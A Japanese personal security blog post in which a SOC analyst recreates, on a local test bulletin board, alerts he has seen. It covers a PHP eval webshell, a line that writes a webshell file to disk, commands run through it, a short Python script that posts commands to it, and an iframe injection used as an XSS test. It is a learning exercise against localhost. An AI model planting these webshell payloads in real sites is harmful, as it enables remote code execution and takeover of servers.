akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

12/20 webshellとかiframeとか

SOCで気になってたこととか色々やってみた

1.webshellの設置

2.iframeの挿入

 

1.webshellの設置

SOCでよく検知するやつ(記憶曖昧)

・<?php @eval($_POST['cmd']);?>

・fputs(fopen('webshell.php', 'w'), "<?php @eval($_POST['cmd']);?>")

 

みたいなやつ

実際にやってみようと思った

 

■環境

・POSTするための掲示板が整ってなかったので

 適当に探して簡易版bbs作成 (前に作ってたやつはなぜか機能しなくなってた...)

・作成した掲示板からコード注入してファイル作成とeval文埋め込みを

 やってみたが上手くいきそうもなかった

 

・だから、その掲示板のコードとして予めeval文を埋め込んでおいた

 (アップロードからファイル作成→eval埋め込みはまた今度やりたい)

 

・それと単発でeval.phpでeval実行のコードだけ書いたファイルも用意

   <?php @eval($_POST['command']); ?>

 

■攻撃方法

・ブラウザで投稿するパターン(bbs.php向け)

 

■成功したコード

・phpinfo();

・echo ("hello");

・echo exec('whoami');

・echo exec('uname -a');

 

・fputs(fopen("webshell.php", "w"), '<?php @eval($_POST["command"]); ?>');

まぁこれも一旦成功とみなしていいかな

・最初はファイル作成できなかったが、書き込み権限がrootのみだったのが原因

・クオテーションの位置とかで調整に時間かかったけど、とりあこれで成功

・あとはpythonからpostメソッドで、commandパラメータに実行したいコード入れて送る

send_to_webshell.py===============

import requests

response = requests.post("http://localhost/bbs/eval.php",\

data={'command': 'echo exec(\'pwd\');'})

print(response.status_code)

print(response.text)

===============

 

■上手くいかなかったコード

・echo('exec(ls -l)');

 →なぜか出力結果の一番下の行しか出力されなかった

  ブラウザから掲示板に注入しても、

  pythonスクリプトからwebshell側に送っても

  どちらも1行のみ、これはわからん

 

■やりきれなかった点

掲示板に最初からeval文を挿入した上でphpコード実行ができたけど、

 eval文がない状態からphpファイルのアップロードとeval文の挿入ができればより良かった

・「ls -l」みたいに複数行表示させたいけど、最下行しかひょうじされなかったのが

 まだよくわからない

 

2.iframeの挿入

SOCで気になったXSS系のやつ(記憶曖昧)

GET /search.php?name='<iframe width='100' src='http://localhost/xxx.php'>' HTTP/1.1

こんな感じ

 

これが攻撃なのかどうなのか、そもそもこれされたときの挙動はどうなるのか

気になったので軽くやってみた

 

上記で作成した簡易掲示板の適当なところにこれを書いた(example.jpegは適当な猫画像)

<iframe width="100" height="100" src="example.jpeg">

 

するとページ内の小窓で表示された。

 

試しに投稿ボックスに上記コードいれて投稿してみたら、なんと

投稿内容表示のところに小窓が現れて猫がいた

 

これでXSS成功ってことか

なんとも簡単で楽しい